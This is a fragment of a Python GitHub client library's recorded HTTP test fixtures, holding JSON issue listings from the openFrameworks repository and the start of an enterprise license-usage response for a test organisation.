sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/174","assignee":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/173","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/172","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166209,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/171","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166208,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","closed_issues":0,"open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/167","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165898,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":160,"html_url":"https://github.com/openframeworks/openFrameworks/issues/160","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165537,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":153,"html_url":"https://github.com/openframeworks/openFrameworks/issues/153","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testIterationWithPrefetchedFirstPage.txt0000644000175100001660000015610214756101563030744 0ustar00runnerdockerhttps GET api.github.com None /enterprises/beaver-group/consumed-licenses?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4ef4c3608e49b9c67c3c8a20c4379a15b998aae0cd83cf8d654de0862baff233"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4827'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '173'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3612:2A2F:2E4F58:30A766:64C1FE39')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user031","github_com_name":"beaver-user031","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user031","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user031@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user032","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio 